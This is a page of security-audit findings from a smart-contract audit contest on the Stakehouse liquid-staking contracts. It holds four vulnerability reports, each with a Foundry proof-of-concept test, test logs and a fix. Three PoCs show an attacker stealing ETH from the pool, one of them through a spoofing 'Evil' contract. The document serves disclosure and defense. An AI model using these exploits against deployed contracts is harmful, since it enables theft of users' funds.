LSD Network - Stakehouse contest - ronnyx2017's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantLP.sol#L39-L47 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L73-L78 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L51-L57

Vulnerability details

Impact

The GiantLP with a transferHookProcessor will call transferHookProcessor.beforeTokenTransfer(_from, _to, _amount) when it's transferred / minted / burned.

But the to address is address(0x00) in the erc20 _burn function. The GiantMevAndFeesPool.beforeTokenTransfer will call the function SyndicateRewardsProcessor._distributeETHRewardsToUserForToken will a zero address check in the first line:

function _distributeETHRewardsToUserForToken(...) internal {
    require(_recipient != address(0), "Zero address");

So any withdraw function with a operation of burning the GiantLP token with a transferHookProcessor will revert because of the zero address check. The users' funds will be stuck in the Giant Pool contracts.

Proof of Concept

I wrote a test about GiantMevAndFeesPool.withdrawETH function which is used to withdraw eth from the Giant Pool. It will be reverted.

test/foundry/LpBurn.t.sol

pragma solidity ^0.8.13;

// SPDX-License-Identifier: MIT
import {GiantPoolTests} from "./GiantPools.t.sol";

contract LpBurnTests is GiantPoolTests {
    function testburn() public{
        address feesAndMevUserOne = accountOne; vm.deal(feesAndMevUserOne, 4 ether);
        vm.startPrank(feesAndMevUserOne);
        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
        giantFeesAndMevPool.withdrawETH(4 ether);
        vm.stopPrank();
    }
}

run test

forge test --match-test testburn -vvv

test log:

...
...
    ├─ [115584] GiantMevAndFeesPool::withdrawETH(4000000000000000000) 
    │   ├─ [585] GiantLP::balanceOf(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266) [staticcall]
    │   │   └─ ← 4000000000000000000
    │   ├─ [128081] GiantLP::burn(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, 4000000000000000000) 
    │   │   ├─ [126775] GiantMevAndFeesPool::beforeTokenTransfer(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, 0x0000000000000000000000000000000000000000, 4000000000000000000) 
    │   │   │   ├─ [371] GiantLP::totalSupply() [staticcall]
    │   │   │   │   └─ ← 4000000000000000000
    │   │   │   ├─ emit ETHReceived(amount: 4000000000000000000)
    │   │   │   ├─ [585] GiantLP::balanceOf(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266) [staticcall]
    │   │   │   │   └─ ← 4000000000000000000
    │   │   │   ├─ [0] 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266::fallback{value: 4000000000000000000}() 
    │   │   │   │   └─ ← ()
    │   │   │   ├─ emit ETHDistributed(user: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, recipient: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, amount: 4000000000000000000)
    │   │   │   ├─ [2585] GiantLP::balanceOf(0x0000000000000000000000000000000000000000) [staticcall]
    │   │   │   │   └─ ← 0
    │   │   │   └─ ← "Zero address"
    │   │   └─ ← "Zero address"
    │   └─ ← "Zero address"
    └─ ← "Zero address"

Tools Used

foundry

Recommended Mitigation Steps

skip update rewards for zero address.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantPoolBase.sol#L57-L60 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L176-L178 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L76-L90

Vulnerability details

Impact

The contract GiantMevAndFeesPool override the function totalRewardsReceived:

return address(this).balance + totalClaimed - idleETH;

The function totalRewardsReceived is used as the current rewards balance to caculate the unprocessed rewards in the function SyndicateRewardsProcessor._updateAccumulatedETHPerLP

uint256 received = totalRewardsReceived();
uint256 unprocessed = received - totalETHSeen;

But it will decrease the idleETH first and then burn the lpTokenETH in the function GiantMevAndFeesPool.withdrawETH. The lpTokenETH burn option will trigger GiantMevAndFeesPool.beforeTokenTransfer which will call _updateAccumulatedETHPerLP and send the accumulated rewards to the msg sender. Because of the diminution of the idleETH, the accumulatedETHPerLPShare is added out of thin air. So the attacker can steal more eth from the GiantMevAndFeesPool.

Proof of Concept

I wrote a test file for proof, but there is another bug/vulnerability which will make the GiantMevAndFeesPool.withdrawETH function break down. I submitted it as the other finding named "GiantLP with a transferHookProcessor cant be burned, users' funds will be stuck in the Giant Pool". You should fix it first by modifying the code https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L161-L166 to :

if (_to != address(0)) {
    _distributeETHRewardsToUserForToken(
        _to,
        address(lpTokenETH),
        lpTokenETH.balanceOf(_to),
        _to
    );
}

I know modifying the project source code is controversial. Please believe me it's a bug needed to be fixed and it's independent of the current vulnerability.

test: test/foundry/TakeFromGiantPools2.t.sol

pragma solidity ^0.8.13;

// SPDX-License-Identifier: MIT

import "forge-std/console.sol";
import {GiantPoolTests} from "./GiantPools.t.sol";

contract TakeFromGiantPools2 is GiantPoolTests {
    function testDWUpdateRate2() public{
        address feesAndMevUserOne = accountOne; vm.deal(feesAndMevUserOne, 4 ether);
        address feesAndMevUserTwo = accountTwo; vm.deal(feesAndMevUserTwo, 4 ether);
        // Deposit ETH into giant fees and mev
        vm.startPrank(feesAndMevUserOne);
        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
        vm.stopPrank();
        vm.startPrank(feesAndMevUserTwo);
        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
        giantFeesAndMevPool.withdrawETH(4 ether);
        vm.stopPrank();
        console.log("user one:", getBalance(feesAndMevUserOne));
        console.log("user two(attacker):", getBalance(feesAndMevUserTwo));
        console.log("giantFeesAndMevPool:", getBalance(address(giantFeesAndMevPool)));
    }

    function getBalance(address addr) internal returns (uint){
        // just ETH
        return addr.balance;  // + giantFeesAndMevPool.lpTokenETH().balanceOf(addr);
    }

}

run test:

forge test --match-test testDWUpdateRate2 -vvv

test log:

Logs:
  user one: 0
  user two(attacker): 6000000000000000000
  giantFeesAndMevPool: 2000000000000000000

The attacker stole 2 eth from the pool.

Tools Used

foundry

Recommended Mitigation Steps

idleETH -= _amount; should be after the lpTokenETH.burn.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L126-L138 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L176-L178

Vulnerability details

Impact

The contract GiantMevAndFeesPool override the function totalRewardsReceived:

return address(this).balance + totalClaimed - idleETH;

The function totalRewardsReceived is used as the current rewards balance to caculate the unprocessed rewards in the function SyndicateRewardsProcessor._updateAccumulatedETHPerLP

uint256 received = totalRewardsReceived();
uint256 unprocessed = received - totalETHSeen;

The idleETH will be decreased in the function batchDepositETHForStaking for sending eth to the staking pool. But the idleETH wont be increased in the function bringUnusedETHBackIntoGiantPool which is used to burn lp tokens in the staking pool, and the staking pool will send the eth back to the giant pool. And then because of the diminution of the idleETH, the accumulatedETHPerLPShare is added out of thin air. So the attacker can steal more eth from the GiantMevAndFeesPool.

Proof of Concept

test: test/foundry/TakeFromGiantPools.t.sol

pragma solidity ^0.8.13;

// SPDX-License-Identifier: MIT

import "forge-std/console.sol";
import {GiantPoolTests} from "./GiantPools.t.sol";
import { LPToken } from "../../contracts/liquid-staking/LPToken.sol";

contract TakeFromGiantPools is GiantPoolTests {
    function testDWclaimRewards() public{
        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);
        address feesAndMevUserTwo = accountThree; vm.deal(feesAndMevUserTwo, 4 ether);

        // Register BLS key
        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);

        // Deposit ETH into giant fees and mev
        vm.startPrank(feesAndMevUserOne);
        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
        vm.stopPrank();
        vm.startPrank(feesAndMevUserTwo);
        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);

        bytes[][] memory blsKeysForVaults = new bytes[][](1);
        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);

        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);
        giantFeesAndMevPool.batchDepositETHForStaking(
            getAddressArrayFromValues(address(manager.stakingFundsVault())),
            getUint256ArrayFromValues(4 ether),
            blsKeysForVaults,
            stakeAmountsForVaults
        );
        vm.warp(block.timestamp+31 minutes);
        LPToken[] memory tokens = new LPToken[](1);
        tokens[0] = manager.stakingFundsVault().lpTokenForKnot(blsPubKeyOne);

        LPToken[][] memory allTokens = new LPToken[][](1);
        allTokens[0] = tokens;
        giantFeesAndMevPool.bringUnusedETHBackIntoGiantPool(
            getAddressArrayFromValues(address(manager.stakingFundsVault())),
            allTokens,
            stakeAmountsForVaults
        );
        // inject a NOOP to skip some functions
        address[] memory stakingFundsVaults = new address[](1);
        bytes memory code = new bytes(1);
        code[0] = 0x00;
        vm.etch(address(0x123), code);
        stakingFundsVaults[0] = address(0x123);
        giantFeesAndMevPool.claimRewards(feesAndMevUserTwo, stakingFundsVaults, blsKeysForVaults);
        vm.stopPrank();
        console.log("user one:", getBalance(feesAndMevUserOne));
        console.log("user two(attacker):", getBalance(feesAndMevUserTwo));
        console.log("giantFeesAndMevPool:", getBalance(address(giantFeesAndMevPool)));
    }

    function getBalance(address addr) internal returns (uint){
        // giant LP : eth at ratio of 1:1
        return addr.balance + giantFeesAndMevPool.lpTokenETH().balanceOf(addr);
    }

}

run test:

forge test --match-test testDWclaimRewards -vvv

test log:

Logs:
  user one: 4000000000000000000
  user two(attacker): 6000000000000000000
  giantFeesAndMevPool: 6000000000000000000

The attacker stole 2 eth from the pool.

Tools Used

fodunry

Recommended Mitigation Steps

Add

idleETH += _amounts[i];

before burnLPTokensForETH in the GiantMevAndFeesPool.bringUnusedETHBackIntoGiantPool function.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L28-L53

Vulnerability details

Impact

GiantMevAndFeesPool.batchDepositETHForStaking use a external call sfv.liquidStakingNetworkManager() to check if the input stakingFundsVault is valide. The attacker can deploy an evil contract with the liquidStakingNetworkManager function returning the valide manager address to pass the check. And finally, GiantMevAndFeesPool will send all the available eth (idleETH) to the evil contract.

Proof of Concept

test file: test/foundry/GMAFP_batchDepositETHForStaking.t.sol

pragma solidity ^0.8.13;

// SPDX-License-Identifier: MIT
import {GiantPoolTests} from "./GiantPools.t.sol";
import "forge-std/console.sol";

contract Evil{
    address public manager;
    address public owner;
    constructor(address _m){
        owner = msg.sender;
        manager = _m;
    }
    function liquidStakingNetworkManager() external returns (address){
        return manager;
    }
    function returnMeEth() external{
        require(msg.sender == owner);
        payable(msg.sender).send(address(this).balance);
    }
    fallback() payable external{

    }
}

contract GMAFP_batchDepositETHForStaking is GiantPoolTests {
    function test_batchDepositETHForStaking() public{
        address feesAndMevUserOne = accountOne; vm.deal(feesAndMevUserOne, 4 ether);
        vm.startPrank(feesAndMevUserOne);
        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
        vm.stopPrank();
        address attacker = address(0x123);
        vm.startPrank(attacker);
        Evil _e = new Evil(address(manager));
        address[] memory _stakingFundsVault = new address[](1);
        _stakingFundsVault[0] = address(_e);
        uint256[] memory _ETHTransactionAmounts = new uint256[](1);
        _ETHTransactionAmounts[0] = 4 ether;
        bytes[][] memory _blsPublicKeyOfKnots = new bytes[][](1);
        uint256[][] memory _amounts = new uint256[][](1);
        giantFeesAndMevPool.batchDepositETHForStaking(_stakingFundsVault, _ETHTransactionAmounts, _blsPublicKeyOfKnots, _amounts);
        _e.returnMeEth();
        vm.stopPrank();
        console.log("attacker: ", attacker.balance);
        console.log("pool: ", address(giantFeesAndMevPool).balance);
    }
}

run test:

forge test --match-test test_batchDepositETHForStaking -vvv

test log:

Logs:
  attacker:  4000000000000000000
  pool:  0

Tools Used

fodunry

Recommended Mitigation Steps

Don't use external calls to the input address for checking the stakingFundsVault